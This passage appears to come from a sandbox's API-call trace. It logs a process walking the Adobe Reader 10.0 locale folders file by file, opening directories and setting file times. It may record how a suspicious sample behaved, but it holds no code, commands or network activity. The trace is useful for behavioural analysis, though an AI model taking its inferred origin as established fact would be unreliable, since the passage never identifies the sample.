ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807c95c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x145000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CZE", cAlternateFileName="")) returned 1 [0081.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b438 [0081.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.685] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.685] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0081.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x127a7b0 [0081.685] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x127a7b0, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x127a7b0, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0081.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127a7b0) returned 1 [0081.685] NtClose (Handle=0x168) returned 0x0 [0081.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126b438) returned 1 [0081.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b438 [0081.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b540 [0081.686] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0081.687] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.687] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9342, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b648 [0081.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259368 [0081.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b750 [0081.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.688] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259388 [0081.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b858 [0081.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.690] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.690] GetLastError () returned 0x12 [0081.690] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0081.690] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.690] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.690] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9342, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.690] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.690] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.690] GetLastError () returned 0x12 [0081.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126b540) returned 1 [0081.690] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126b648) returned 1 [0081.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126b438) returned 1 [0081.691] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CZE", cAlternateFileName="")) returned 1 [0081.691] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CZE", cAlternateFileName="")) returned 1 [0081.691] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CZE", cAlternateFileName="")) returned 1 [0081.691] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CZE", cAlternateFileName="")) returned 0 [0081.691] GetLastError () returned 0x12 [0081.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.691] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0081.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.692] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0081.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.692] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk"), 